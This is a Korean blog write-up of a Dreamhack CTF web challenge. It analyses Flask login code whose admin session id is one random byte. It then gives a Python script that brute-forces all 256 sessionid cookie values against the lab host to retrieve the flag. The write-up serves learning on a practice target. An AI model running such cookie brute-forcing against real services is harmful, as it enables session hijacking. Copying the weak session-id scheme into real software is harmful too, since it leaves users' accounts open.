웹 서비스 분석

문제를 열업면 위와 같은 로그인 페이지가 뜬다. 그래서 만약 id : guest, pw : guest로 로그인 해보면
Hello guest, you are not admin
index page에 위와 같은 문구를 띄워준다.
따라서 admin 계정으로 로그인하여 flag를 찾는 문제인 것 같다.
엔드포인트 분석
/login
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
# ex) user, users[user] = user1234
# pw = user1234
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) ) # index 페이지로 이동
session_id = os.urandom(4).hex() # 4바이트의 16진수 랜덤값 생성
session_storage[session_id] = username
# session_storage = {
# "session_id" : "user"
# }
resp.set_cookie('sessionid', session_id) # 새로운 session_id로 쿠키 설정
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
사용자가 username과 password를 입력하면 해당 값을 각각의 변수에 저장한다.
그리고 pw 변수에 users 딕셔너리에 있는 username과 매핑되어 있는 password를 저장한다.
만약 pw와 사용자가 입력한 password와 같다면 session_id를 4바이트의 랜덤한 16진수 값으로 새로 만든다. 그리고 session_storage 딕셔너리에 아까 만들어진 session_id와 username을 매핑 시킨다.
/(index)
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None) # 여기서 admin의 session_id를 가져와야함.
# 그럼 가져온 session_id가 admin이 아니라 guest이지만, 가져온 session_id값의 username을 admin으로 변조하면 됨.
try:
username = session_storage[session_id]
# user
except KeyError:
return render_template('index.html')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
아까 로그인 했을 때 생성되었던 session_id를 가져와서 session_id 변수에 저장
그리고 session_storage에 아까 생성됐던 session_id와 매핑되어 있는 username을 찾아서 변수에 저장한다.
그리고 hello {username}, flag is ~~라는 문구를 띄워주는데, 만약 username이 admin이라면 flag도 함께 출력해준다.
main
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
session_storage에 랜덤한 1바이트의 16진수 값을 생성하고 'admin'과 매핑 시킨다.
취약점 분석
index page에서 session_id를 가져올때 admin의 session_id를 가져오면 서버에서 admin이라고 인식하여 flag를 표시해줄 것이다.
아까 main에서 session_storage에 1바이트의 16진수 session을 생성했기 때문에 해당 값을 brute-force 공격을 통해 구할 수 있을 것이다.
익스플로잇
import os
import requests
url = 'http://host3.dreamhack.games:11886'
for i in range(256):
sid = format(i, '02x')
cookies = {
'sessionid' : sid
}
res = requests.get(url, cookies=cookies)
if "flag is" in res.text:
print(f"found sid : {sid}")
print(res.text)
break
else:
print(f"tried : {sid}")
cookies값을 sid로 설정해준 뒤에 url에 cookie값을 넣어준다. 그 뒤에 flag is라는 문자열이 나올때까지 반복하고, 만약 해당 문자열이 출력되었다면 해당 sid값 출력

이렇게 brute-force 공격을 통해 flag를 획득할 수 있다.
'CTF & Wargame(WEB)' 카테고리의 다른 글
| Command Injection Advanced level 1 (0) | 2025.04.16 |
|---|---|
| My Best Friend level 1 (0) | 2025.04.16 |
| web-misconf-1 beginner (0) | 2025.04.14 |
| pathtraversal beginner (0) | 2025.04.14 |
| blind-command level 2 (0) | 2025.04.14 |